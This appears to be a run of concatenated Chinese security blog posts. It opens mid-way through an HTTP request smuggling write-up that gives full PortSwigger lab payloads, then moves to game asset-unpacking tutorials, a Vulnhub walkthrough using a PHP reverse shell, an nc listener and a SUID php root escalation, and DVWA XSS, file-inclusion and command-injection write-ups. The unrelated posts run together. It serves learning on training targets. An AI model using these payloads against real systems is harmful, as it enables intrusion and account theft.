而且在整个请求中，所有的请求头都是符合RFC规范的，这就意味着，在ATS前方的代理服务器，哪怕严格实现了RFC标准，也无法避免该攻击行为对其他用户造成影响。ATS的修复措施也是简单粗暴，当缓存命中时，把整个请求体清空就好了。5. 其他攻击实例在前面，我们已经看到了不同种代理服务器组合所产生的HTTP请求走私漏洞，也成功模拟了使用HTTP请求走私这一攻击手段来进行会话劫持，但它能做的不仅仅是这些，在PortSwigger中提供了利用HTTP请求走私攻击的实验，可以说是很典型了。5.1 绕过前端服务器的安全控制在这个网络环境中，前端服务器负责实现安全控制，只有被允许的请求才能转发给后端服务器，而后端服务器无条件的相信前端服务器转发过来的全部请求，对每个请求都进行响应。因此我们可以利用HTTP请求走私，将无法访问的请求走私给后端服务器并获得响应。在这里有两个实验，分别是使用CL-TE和TE-CL绕过前端的访问控制。5.1.1 使用CL-TE绕过前端服务器安全控制Lab地址：https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te实验的最终目的是获取admin权限并删除用户carlos我们直接访问/admin，会返回提示Path /admin is blocked，看样子是被前端服务器阻止了，根据题目的提示CL-TE，我们可以尝试构造数据包POST / HTTP/1.1 Host: ac1b1f991edef1f1802323bc00e10084.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: session=Iegl0O4SGnwlddlFQzxduQdt8NwqWsKI Content-Length: 38 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 foo: bar 进行多次请求之后，我们可以获得走私过去的请求的响应。提示只有是以管理员身份访问或者在本地登录才可以访问/admin接口。在下方走私的请求中，添加一个Host: localhost请求头，然后重新进行请求，一次不成功多试几次。如图所示，我们成功访问了admin界面。也知道了如何删除一个用户，也就是对/admin/delete?username=carlos进行请求。修改下走私的请求包再发送几次即可成功删除用户carlos。需要注意的一点是在这里，不需要我们对其他用户造成影响，因此走私过去的请求也必须是一个完整的请求，最后的两个\r\n不能丢弃。5.1.1 使用TE-CL绕过前端服务器安全控制Lab地址：https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl这个实验与上一个就十分类似了，具体攻击过程就不在赘述了。5.2 获取前端服务器重写请求字段在有的网络环境下，前端代理服务器在收到请求后，不会直接转发给后端服务器，而是先添加一些必要的字段，然后再转发给后端服务器。这些字段是后端服务器对请求进行处理所必须的，比如：描述TLS连接所使用的协议和密码包含用户IP地址的XFF头用户的会话令牌ID总之，如果不能获取到代理服务器添加或者重写的字段，我们走私过去的请求就不能被后端服务器进行正确的处理。那么我们该如何获取这些值呢。PortSwigger提供了一个很简单的方法，主要是三大步骤：找一个能够将请求参数的值输出到响应中的POST请求把该POST请求中，找到的这个特殊的参数放在消息的最后面然后走私这一个请求，然后直接发送一个普通的请求，前端服务器对这个请求重写的一些字段就会显示出来。怎么理解呢，还是做一下实验来一起来学习下吧。Lab地址：https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting实验的最终目的还是删除用户 carlos。我们首先进行第一步骤，找一个能够将请求参数的值输出到响应中的POST请求。在网页上方的搜索功能就符合要求构造数据包POST / HTTP/1.1 Host: ac831f8c1f287d3d808d2e1c00280087.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Content-Type: application/x-www-form-urlencoded Cookie: session=2rOrjC16pIb7ZfURX8QlSuU1v6UMAXLA Content-Length: 77 Transfer-Encoding: chunked 0 POST / HTTP/1.1 Content-Length: 70 Connection: close search=123 多次请求之后就可以获得前端服务器添加的请求头这是如何获取的呢，可以从我们构造的数据包来入手，可以看到，我们走私过去的请求为POST / HTTP/1.1 Content-Length: 70 Connection: close search=123 其中Content-Length的值为70，显然下面携带的数据的长度是不够70的，因此后端服务器在接收到这个走私的请求之后，会认为这个请求还没传输完毕，继续等待传输。接着我们又继续发送相同的数据包，后端服务器接收到的是前端代理服务器已经处理好的请求，当接收的数据的总长度到达70时，后端服务器认为这个请求已经传输完毕了，然后进行响应。这样一来，后来的请求的一部分被作为了走私的请求的参数的一部分，然后从响应中表示了出来，我们就能获取到了前端服务器重写的字段。在走私的请求上添加这个字段，然后走私一个删除用户的请求就好了。5.3 获取其他用户的请求在上一个实验中，我们通过走私一个不完整的请求来获取前端服务器添加的字段，而字段来自于我们后续发送的请求。换句话说，我们通过请求走私获取到了我们走私请求之后的请求。如果在我们的恶意请求之后，其他用户也进行了请求呢？我们寻找的这个POST请求会将获得的数据存储并展示出来呢？这样一来，我们可以走私一个恶意请求，将其他用户的请求的信息拼接到走私请求之后，并存储到网站中，我们再查看这些数据，就能获取用户的请求了。这可以用来偷取用户的敏感信息，比如账号密码等信息。Lab地址：https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests实验的最终目的是获取其他用户的Cookie用来访问其他账号。我们首先去寻找一个能够将传入的信息存储到网站中的POST请求表单，很容易就能发现网站中有一个用户评论的地方。抓取POST请求并构造数据包POST / HTTP/1.1 Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa Content-Length: 267 Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa Content-Length: 400 csrf=JDqCEvQexfPihDYr08mrlMun4ZJsrpX7&postId=5&name=meng&email=email%40qq.com&website=&comment= 这样其实就足够了，但是有可能是实验环境的问题，我无论怎么等都不会获取到其他用户的请求，反而抓了一堆我自己的请求信息。不过原理就是这样，还是比较容易理解的，最重要的一点是，走私的请求是不完整的。5.4 利用反射型XSS我们可以使用HTTP走私请求搭配反射型XSS进行攻击，这样不需要与受害者进行交互，还能利用漏洞点在请求头中的XSS漏洞。Lab地址：https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss在实验介绍中已经告诉了前端服务器不支持分块编码，目标是执行alert(1)首先根据UA出现的位置构造Payload然后构造数据包POST / HTTP/1.1 Host: ac801fd21fef85b98012b3a700820000.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 123 Transfer-Encoding: chunked 0 GET /post?postId=5 HTTP/1.1 User-Agent: "><script>alert(1)</script># Content-Type: application/x-www-form-urlencoded 此时在浏览器中访问，就会触发弹框再重新发一下，等一会刷新，可以看到这个实验已经解决了。5.5 进行缓存投毒一般来说，前端服务器出于性能原因，会对后端服务器的一些资源进行缓存，如果存在HTTP请求走私漏洞，则有可能使用重定向来进行缓存投毒，从而影响后续访问的所有用户。Lab地址：https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning实验环境中提供了漏洞利用的辅助服务器。需要添加两个请求包，一个POST，携带要走私的请求包，另一个是正常的对JS文件发起的GET请求。以下面这个JS文件为例/resources/js/labHeader.js 编辑响应服务器构造POST走私数据包POST / HTTP/1.1 Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net Content-Length: 129 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: acb11fe31e16e96b800e125a013b009f.web-security-academy.net Content-Length: 10 123 然后构造GET数据包GET /resources/js/labHeader.js HTTP/1.1 Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Connection: close POST请求和GET请求交替进行，多进行几次，然后访问js文件，响应为缓存的漏洞利用服务器上的文件。访问主页，成功弹窗，可以知道，js文件成功的被前端服务器进行了缓存。6. 如何防御从前面的大量案例中，我们已经知道了HTTP请求走私的危害性，那么该如何防御呢？不针对特定的服务器，通用的防御措施大概有三种。禁用代理服务器与后端服务器之间的TCP连接重用。使用HTTP/2协议。前后端使用相同的服务器。以上的措施有的不能从根本上解决问题，而且有着很多不足，就比如禁用代理服务器和后端服务器之间的TCP连接重用，会增大后端服务器的压力。使用HTTP/2在现在的网络条件下根本无法推广使用，哪怕支持HTTP/2协议的服务器也会兼容HTTP/1.1。从本质上来说，HTTP请求走私出现的原因并不是协议设计的问题，而是不同服务器实现的问题，个人认为最好的解决方案就是严格的实现RFC7230-7235中所规定的的标准，但这也是最难做到的。参考链接https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/https://portswigger.net/research/http-desync-attacks-request-smuggling-rebornhttps://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdfhttps://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf

对《奇迹觉醒》的解包研究学习 《奇迹MU：觉醒》是经韩国网禅正版授权，由北京天马时空网络技术有限公司研发，腾讯独家代理运营的一款手机游戏一、软件准备《apktool》1、apktool文件的下载apktool是反编译Android apk文件的工具，apktool的主页是 https://ibotpeaches.github.io/Apktool/；我们可以从这里找到最新版本的apktool.jar文件 https://bitbucket.org/iBotPeaches/apktool/downloads/，以及apktool的安装说明。2、apktool的安装前面我们已经下载了最新的apktool.jar文件，最新版本是2.3.1，请按照以下步骤操作，参考 https://ibotpeaches.github.io/Apktool/install/新建文本文件，将下面的脚本复制到文本并保存，然后重命名为apktool.bat;@echo off if "%PATH_BASE%" == "" set PATH_BASE=%PATH% set PATH=%CD%;%PATH_BASE%; chcp 65001 2>nul >nul java -jar -Duser.language=en -Dfile.encoding=UTF8 "%~dp0\apktool.jar" %*     从上面脚本中也可以看到是用apktool.jar文件去处理；将下载的apktool_2.3.1.jar文件重命名为apktool.jar；3、apktool的使用将上述两个文件apktool.bat和apktool.jar文件放到同一文件夹下（任意路径），打开命令窗口（win+R–>cmd–>enter）;定位到apktool所在的文件夹；（若有java的系统变量也是可以的）输入以下命令：apktool.bat d -f ***.apk objectFolderPath 其中，objectFolderPath为可选项，如果此项不存在，软件将会在apktool文件夹下新建一个apk文件名的文件夹，否则存储到目标文件夹《UnityStudio》1.下载运行地址:https://github.com/Perfare/UnityStudio/releases最新版本支持unity5.x《winhex》（可选）下载地址http://www.x-ways.net/winhex.zip二、过程1.使用apktool对目标apk安装包进行拆解cd F:\解包\qjjx apktool d 10040714_com.tencent.tmgp.tmsk.qj2_a951663_8.2.0_27fhqs.apk //我的环境已经配置好了环境变量，直接cd到目标目录使用即可解包完成，目录下生成了一个和文件包同名的文件夹观察目录，发现asset文件夹占据了几乎99%的大小，估算模型数据在此目录下其实好像都是这个目录腾讯的开发者还是素质很高的，每个目录下是什么都清清楚楚的2.搜寻读取资源文件经过查看装备Equip，发现大量的unity3d文件（以此为例）还是打开winhex确认一下使用的版本号也是5.x使用先前下载的UnityStudio（或称AssetStudio）批量打开文件目录或单独打开文件比如。。。。资源的内容已经展示出来了（不限于此目录），可以选择需要的资源文件导出三、总结该文，该教材仅仅用作个人学习研究使用，请勿利用教材内容，进行有损目标软件公司利益的事情（包括但不限于版权纠纷，非法入侵纠纷）。本教程慨不负责类似案例：https://www.silverdragon.cn/?p=1880 过程几乎相同，且适用于几乎所有unity3D引擎的游戏

对《神都夜行录》的解包研究学习 《神都夜行录》是由网易游戏制作发行的一款国风妖怪收集RPG手游。游戏的整体故事发生在大唐年间，神都盛世天下生平、魑魅魍魉百妖横行，玩家扮演的降妖师会历经各种冒险，学习降妖之术，解决各类神秘可疑的妖怪作乱事件一、软件准备1.PC端游戏客户端 2.quickbms 3.RMAViewer 4.IqeBrowser 5.Noesis 6.3dsmax 网盘下载：https://pan.baidu.com/s/1jLoyZBfGlDnxGxTHJFdX7g 7mnf 流程：*.npk -quickbms-> *.dat -RMAViewer-> *.iqe -IqeBrowser-> *.iqm -Noesis-> *.fbx -3dmax-> *.pmd -PmxEditor-> *.pmx二、资源定位163家的游戏，安装包都是npk封装、更新包嘛，，，搞不懂。真够大的。。。6个资源文件在 *\Netease\yxl 下，目标就是...够多的。。。三、准备解包先把几个资源文件复制一份单独操作。。。还是上winhex看看目标压缩制式NXPK？ 不是EXPK就好（没研究EXPK）用quickbms和官方脚本 nxpk.bms# NXPK npk (script 0.3.8) # Demon Seals HD and others # script for QuickBMS http://quickbms.aluigi.org get EXT extension math NAMES = -1 math EXISTS = 0 math NAMES_METHOD = 0 /* # this format is totally useless because it's only a sequence of integers string TMP p "%s_hash" EXT open FDDE TMP 1 EXISTS if EXISTS == 0 string TMP p "%s.hash" EXT open FDDE TMP 1 EXISTS endif */ if EXISTS == 0 open FDDE "hash" 1 EXISTS endif if EXISTS == 0 string TMP p "%s.info" EXT open FDDE TMP 1 EXISTS endif if EXISTS != 0 comtype zlib_noerror get TMP1 byte 1 get TMP2 byte 1 if TMP1 == 0x1f && TMP2 == 0x8b comtype gzip endif get SIZE asize 1 clog MEMORY_FILE 0 SIZE SIZE 1 get SIZE asize MEMORY_FILE for i = 0 savepos TMP MEMORY_FILE if TMP >= SIZE break endif get TMP line MEMORY_FILE getvarchr TMP0 TMP 0 if NAMES >= 0 if TMP0 == 0x53 || TMP0 == 0x73 # "S" and "sS" if TMP0 == 0x53 # "S'" string TMP << 2 else string TMP << 3 endif string TMP - 1 if i & 1 strlen TMPSZ TMP if TMPSZ != 32 || TMP & \ string TMP x TMP string TMP b TMP putvarchr TMP 32 0 endif string TMP u TMP string TMP p "_%s" TMP # LAME BUGFIX FOR QUICKBMS!!! putarray 10 NAMES TMP math NAMES + 1 else putarray 11 NAMES TMP endif math i + 1 endif else if TMP0 == 'a' math NAMES = 0 # skip the first string endif endif next else string TMP p "%s.map" EXT open FDDE TMP 1 EXISTS if EXISTS != 0 math NAMES_METHOD = 1 get MAP_SIZE asize 1 for OFFSET = 0 != MAP_SIZE get TMP line 1 string ELEMENTS S TMP NAME NAME_CRC ZSIZE ZCRC SIZE CRC OFFSET putarray 10 NAMES NAME_CRC putarray 11 NAMES NAME math NAMES + 1 savepos OFFSET 1 next endif endif /* # debug for x = 0 < NAMES getarray HASH 10 x getarray NAME 11 x print "%HASH% %NAME%" next x */ set KEY string "" for x = 0 < 0x100 xmath TMP "x - 2" putvarchr KEY x TMP next x idstring "NXPK" get FILES long get VER1 long get VER2 long get VER3 long math MODE = 0 if VER1 >= 1 && VER3 > 1 math MODE = 1 endif math INFO_SIZE = 0x1c if MODE != 0 math INFO_SIZE = 0x28 endif get OFFSET long # if I used this work-around it means it was necessary in a sample, don't know what sample... get NXPK_SIZE asize if OFFSET u> NXPK_SIZE xmath OFFSET "NXPK_SIZE - (FILES * INFO_SIZE)" endif goto OFFSET for i = 0 < FILES get NAME_CRC long get OFFSET long get ZSIZE long get SIZE long get ZCRC long get CRC long if MODE != 0 get DUMMY long get DUMMY long get FLAGS long get DUMMY long else get FLAGS long endif xmath ZFLAGS "FLAGS & 0xffff" xmath FLAGS "FLAGS >> 16" if ZFLAGS == 2 comtype lz4 else # 0 comtype zlib endif set NAME string "" if NAMES > 0 if NAMES_METHOD == 0 encryption md5 "" log MEMORY_FILE OFFSET ZSIZE encryption "" "" string QUICKBMS_HEXHASH p "_%s" QUICKBMS_HEXHASH # LAME BUGFIX FOR QUICKBMS!!! else math QUICKBMS_HEXHASH = NAME_CRC endif for x = 0 < NAMES getarray TMP 10 x if TMP == QUICKBMS_HEXHASH getarray NAME 11 x putarray 10 x "" math x = NAMES # break endif next x endif math FILENUM = 0 if FLAGS & 1 math TMP = 0x80 if TMP > ZSIZE math TMP = ZSIZE endif encryption xor KEY "" 0 TMP log MEMORY_FILE OFFSET TMP encryption "" "" math OFFSET + TMP xmath TMP "ZSIZE - TMP" append log MEMORY_FILE OFFSET TMP append math OFFSET = 0 math FILENUM = -1 endif if SIZE == ZSIZE log NAME OFFSET SIZE FILENUM else clog NAME OFFSET ZSIZE SIZE FILENUM endif next i 启动quickbms.exe 然后选择nxpk.bms作为payload，然后再选择要解的文件和保存目录然后自动就开始解了除去头部偏移字节，解包进度到99%，解包已经完成，获得12661个文件因为数据量比较大，这里仅对res1.npk拆解讲解。四、文件说明解包出来的文件有好几种类型，主要有如下几种既然主要还是研究模型，那么打开RMAViewer File》Open Folder 载入我们的res1文件夹选择列表内的文件可以进行浏览，上下键控制选择焦点，滚轮或QE控制远近，WSAD键控制视角，左键按住旋转模型比如。。。这里以茨木为例选择Save IQE导出有骨骼的模型，然后在res1文件夹中筛选出iqe后缀当然Save OBJ也是可以的。只不过就只有模型了。比如：如果导出的iqe有问题或为了保险，可通过IQEFix.exe进行一次修复操作，直接将文件拉进exe即可五、格式转换iqe:以文本格式 存储的可带骨骼带贴图模型文件 iqm:以二进制 存储的可带骨骼带贴图模型文件 区别:二进制比文本格式更为通用，能被大多数模型软件读取，且压缩率更高体积更小。启动IqeBrowser，吧我们的模型导入切记目录必须为纯英文，否则文件可能打不开选中要转换的模型 Ctrl+S保存 选择【*.iqm】启动Noesis将刚刚转换的iqm导入，转换为fbx文件贴图和模型UV方向一致，则可以直接贴材质，不一致贴上会错乱。六、查找贴图启动3dsmax 导入fbx查找对应的dds技巧是将res1与res2中的所有.dds整合到新建的文件夹选择浏览视图为详细信息，以文件大小排序，剪切所有文件大小为1366KB的高清贴图在3dmax中展UV图形，以此为根据，寻找目标dds文件导入七、总结该文，该教材仅仅用作个人学习研究使用，请勿利用教材内容，进行有损目标软件公司利益的事情（包括但不限于版权纠纷，非法入侵纠纷）。本教程慨不负责bilibili同步连接 https://www.bilibili.com/read/cv8274072

对《山海镜花》的解包研究学习 《山海镜花》 是游族旗下新番工作室研发的以《山海经》为蓝本创作的东方幻想3D回合制RPG手游一、软件准备《apktool》1、apktool文件的下载apktool是反编译Android apk文件的工具，apktool的主页是 https://ibotpeaches.github.io/Apktool/；我们可以从这里找到最新版本的apktool.jar文件 https://bitbucket.org/iBotPeaches/apktool/downloads/，以及apktool的安装说明。2、apktool的安装前面我们已经下载了最新的apktool.jar文件，最新版本是2.3.1，请按照以下步骤操作，参考 https://ibotpeaches.github.io/Apktool/install/新建文本文件，将下面的脚本复制到文本并保存，然后重命名为apktool.bat;@echo off if "%PATH_BASE%" == "" set PATH_BASE=%PATH% set PATH=%CD%;%PATH_BASE%; chcp 65001 2>nul >nul java -jar -Duser.language=en -Dfile.encoding=UTF8 "%~dp0\apktool.jar" %*     从上面脚本中也可以看到是用apktool.jar文件去处理；将下载的apktool_2.3.1.jar文件重命名为apktool.jar；3、apktool的使用将上述两个文件apktool.bat和apktool.jar文件放到同一文件夹下（任意路径），打开命令窗口（win+R-->cmd-->enter）;定位到apktool所在的文件夹；（若有java的系统变量也是可以的）输入以下命令：apktool.bat d -f ***.apk objectFolderPath 其中，objectFolderPath为可选项，如果此项不存在，软件将会在apktool文件夹下新建一个apk文件名的文件夹，否则存储到目标文件夹《UnityStudio》1.下载运行地址:https://github.com/Perfare/UnityStudio/releases最新版本支持unity5.x《winhex》（可选）下载地址http://www.x-ways.net/winhex.zip二、过程1.使用apktool对目标apk安装包进行拆解cd F:\解包\山海 apktool d com.youzu.shjh.huawei.apk //我的环境已经配置好了环境变量，直接cd到目标目录使用即可解包完成，目录下生成了一个和文件包同名的文件夹观察目录，发现asset文件夹占据了几乎99%的大小，估算模型数据在此目录下继续进入，发现AssetBundle目录下存在大量的数据文件，估测为目标2.搜寻读取资源文件经过查看，发现大量的dat文件初步经过修改后缀为obj dds 3ds打开无效，使用winhex读取文件发现UnityFS 5.x.x这样的文件头，确定为unity3d工程文件使用先前下载的UnityStudio（或称AssetStudio）批量打开文件目录或单独打开文件资源的内容已经展示出来了（不限于npc目录），可以选择需要的资源文件导出三、总结该文，该教材仅仅用作个人学习研究使用，请勿利用教材内容，进行有损目标软件公司利益的事情（包括但不限于版权纠纷，非法入侵纠纷）。本教程慨不负责bilibili同步连接 https://www.bilibili.com/read/cv8274140

Vulnhub靶场之Photographer: 1 废话不多说。下载安装先。启动kali虚拟机继续arp-scan -l查询目标ip目标：192.168.163.130，使用浏览器访问验证是目标地址使用nmap -sS -A 192.168.163.130查询相关的端口信息开放端口：80，139，445，8000刚刚80端口这边我们已经访问过了，是纯静态的内容，逐一访问，发现8000端口存在一个CMS系统是一个koken的cms，查询源码发现是0.22.24版本使用nikto扫描工具扫描目录nikto -h http://192.168.163.130:8000/可能存在admin目录，我们访问一下试试看页面设计的还不错。。。登录需要邮箱。我们目前没有，查阅exp库发现koken版本0.22.24的上传漏洞不过我没法登录，咋上传啊，首页也没有上传点呐于是乎，这个漏洞只能后期用刚刚我们发现存在445 139端口，具有smb的特征，那么，文件系统是否有值得我们搜索的东西呢使用enum4linux探索445端口 enum4linux 192.168.163.130没有账号密码，我们使用空密码连接挂载到我们本地目录下去看到有两个文件，第一个似乎是什么邮件的文件，我们cat一下那是密码吗？是邮箱号码？agi@photographer.com 或者daisa@photographer.com 密码： babygirl都试试看登录成功这样一来，刚刚的上传漏洞就能搞他了使用Kali自带的php反弹脚本来进行利用cp /usr/share/webshells/php/php-reverse-shell.php ~/yyssdd.php.jpg改一下监听端口七七八八。接下来上传，使用burp修改后缀名访问我们刚刚上传的另外在kali这边设置好监听nc -lvnp 1234监听好后开始访问，获取到反弹shell接下来python3 -c 'import pty;pty.spawn("/bin/bash")' 获取到交互式shell接下来查询关键的具有suid访问权限的程序find / -perm -u=s -type f 2>/dev/null发现有一个php7.2的东东具有权限，我们利用php7.2获取到root权限/usr/bin/php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"使用php7.2的exec调起sh执行获取到root最高权似乎是旗子，搞定

DVWA-10.1 XSS (DOM) XSSXSS，全称Cross Site Scripting，即跨站脚本攻击，某种意义上也是一种注入攻击，是指攻击者在页面中注入恶意的脚本代码，当受害者访问该页面时，恶意代码会在其浏览器上执行，需要强调的是，XSS不仅仅限于JavaScript，还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中，XSS可以分为存储型的XSS与反射型的XSS。DOM型的XSS由于其特殊性，常常被分为第三种，这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面，如果这些函数在引用某些变量时没有进行过滤或检查，就会产生DOM型的XSS。DOM型XSS可能是存储型，也有可能是反射型。Low前端源码服务器端核心代码<?php # No protections, anything goes ?>可以看到，前端使用 document.write() 动态生成页面，服务器端代码没有任何的保护性措施！页面本意是叫我们选择默认的语言，但是对default参数没有进行任何的过滤。直接暴露在了URL地址栏里面漏洞利用我们可以构造XSS代码，访问链接：/vulnerabilities/xss_d/?default=<script>alert('xss')</script>可以看到，我们的script脚本成功执行了。我们去看看页面的源码变成什么样了Medium源代码：<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags (不区分大小写) if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; } } ?> 可以看到，medium级别的代码先检查了default参数是否为空，如果不为空则将default等于获取到的default值。这里还使用了stripos 用于检测default值中是否有 <script ，如果有的话，则将 default=English 。很明显，这里过滤了<script  (不区分大小写)，那么我们可以使用<img  src=1  οnerrοr=('hack')>但是当我们访问URL：/vulnerabilities/xss_d/?default=<img src=1 οnerrοr=alert('hack')> 此时并没有弹出任何页面风平浪静的页面我们查看网页源代码，发现我们的语句被插入到了value值中，但是并没有插入到option标签的值中，所以img标签并没有发起任何作用。所以我们得先闭合前面的标签，我们构造语句闭合option标签：<option value=' " + lang + " '> " + decodeURI(lang) + " </option>所以，我们构造该链接：/vulnerabilities/xss_d/?default=></option><img src=1 οnerrοr=alert('hack')> 还是风平浪静。。。。。查看源代码，发现我们的语句中只有 > 被插入到了option标签的值中，因为闭合了option标签，所以img标签并没有插入于是我们继续构造语句去闭合select标签，这下我们的img标签就是独立的一条语句了我们构造该链接：/vulnerabilities/xss_d/?default= ></option></select><img src=1 οnerrοr=alert('hack')>可以看到，我们的语句成功执行了High源代码： <?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?> 这里high级别的代码先判断defalut值是否为空，如果不为空的话，再用switch语句进行匹配，如果匹配成功，则插入case字段的相应值，如果不匹配，则插入的是默认的值。这样的话，我们的语句就没有可能插入到页面中了。目前我也没有找到好的方法进行XSS注入。Impossible源代码：<?php # Don't need to do anything, protction handled on the client side ?> 我们可以看到，impossible级别的代码没有任何东西，注释写的是保护的代码在客户端的里面于是我们尝试访问链接/vulnerabilities/xss_d/?default=<script>alert('hack')</script>发现页面并没有弹出任何东西，而且语言框内的值是我们输入的参数的经过URL编码后的数据查看源代码，发现这里对我们输入的参数并没有进行URL解码，所以我们输入的任何参数都是经过URL编码，然后直接赋值给option标签。所以，就不存在XSS漏洞

DVWA-1.10 File Inclusion 目录遍历（Directory traversal）和文件包含（File include）的一些区别：目录遍历是可以读取web根目录以外的其他目录，根源在于web application的路径访问权限设置不严，针对的是本系统。文件包含是通过include函数将web根目录以外的目录的文件被包含进来，分为LFI本地文件包含和RFI远程文件包含几种经典的测试方法：?file=../../../../../etc/passwdd?page=file:///etc/passwd?home=main.cgi?page=http://www.a.com/1.phphttp://1.1.1.1/../../../../dir/file.txt（通过多个../可以让目录回到根目录中然后再进入目标目录）编码绕过字符过滤：可以使用多种编码方式进行绕过%00嵌入任意位置的利用Low服务代码<?php // The page we wish to display $file = $_GET[ 'page' ]; ?>可以看到，服务器端对page参数没有做任何的过滤跟检查。服务器期望用户的操作是点击下面的三个链接，服务器会包含相应的文件，并将结果返回。需要特别说明的是，服务器包含文件时，不管文件后缀是否是php，都会尝试当做php文件执行，如果文件内容确为php，则会正常执行并返回结果，如果不是，则会原封不动地打印文件内容，所以文件包含漏洞常常会导致任意文件读取与任意命令执行。现实中，恶意的攻击者是不会乖乖点击这些链接的，因此page参数是不可控的。构造url：因为我是windows服务器，随意的在磁盘跟目录下创建了一个fl.ini文件来检测是否存在http://192.168.0.130/DVWA-master/vulnerabilities/fi/?page=H:\fl.ini成功读取了fl.ini文件其实用相对路径也是可以的，用NNNNN层的..\来使其返回到根目录http://192.168.0.130/DVWA-master/vulnerabilities/fi/?page=../../../../../../fl.ini同时我们看到，配置文件中的Magic_quote_gpc选项为off。在PHP4.0及以上的版本中，该选项默认情况下是开启的，5.4之后的版本已经删除了这个Magic_quote_gpc在php版本小于5.3.4的服务器中，当Magic_quote_gpc选项为off时，我们可以在文件名中使用%00进行截断，也就是说文件名中%00后的内容不会被识别，即下面两个url是完全等效的php.iniphp.ini%0012.php使用%00截断可以绕过某些过滤规则，例如要求page参数的后缀必须为php，这时链接A会读取失败，而链接B可以绕过规则成功读取。当服务器的php配置中选项allow_url_fopen与allow_url_include为开启状态时，服务器会允许包含远程服务器上的文件。如果对文件来源没有检查的话，就容易导致任意远程代码执行。Medium核心代码：<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file ); ?>可以看到，Medium级别的代码增加了str_replace函数，对page参数进行了一定的处理，将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符，即删除,这里只是过滤了远程包含，但没有过滤本地包含http://192.168.0.130/DVWA-master/vulnerabilities/fi/?page=H:\fl.iniHigh服务器端核心代码<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?>可以看到，High级别的代码使用了fnmatch函数检查page参数，要求page参数的开头必须是file，服务器才会去包含相应的文件。High级别的代码规定只能包含file开头的文件，看似安全，不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生，当我们用浏览器打开一个本地文件时，用的就是file协议，如下图我们构造如下URL：http://192.168.0.130/DVWA-master/vulnerabilities/fi/?page=file:///H:/fl.iniImpossible服务器端核心代码<?php // The page we wish to display $file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?>可以看到，Impossible级别的代码使用了白名单机制进行防护，简单粗暴，page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一，彻底杜绝了文件包含漏洞

DVWA-1.10 Command Injection DVWA简介DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用，旨在为安全专业人员测试自己的专业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。DVWA共有十个模块，分别是Brute Force(暴破)Command Injection(命令注入)CSRF(跨站伪造)File Inclusion(文件包含)File Upload(上传)Insecure CAPTCHA (不安全的验证码)SQL Injection(SQL注入)SQL Injection(Blind)(SQL盲注)XSS(Reflected)(反射跨站)XSS(Stored)(存储跨站)需要注意的是，DVWA分为四种安全级别：Low，Medium，High，Impossible。初学者可以通过比较四种级别的代码，接触到一些php代码审计的内容。命令注入命令注入，即命令注入，是指通过提交恶意结构的参数破坏命令语句结构，从而实现执行恶意命令的目的。PHP命令注入攻击是PHP应用程序中常见的脚本漏洞之一，国内著名的Web应用程序Discuz！，DedeCMS等都曾经存在过该类型漏洞。Low服务器端核心代码<?php if( isset( $_POST[ 'Submit' ]  ) ) {     // Get input     $target = $_REQUEST[ 'ip' ];     // Determine OS and execute the ping command.     if( stristr( php_uname( 's' ), 'Windows NT' 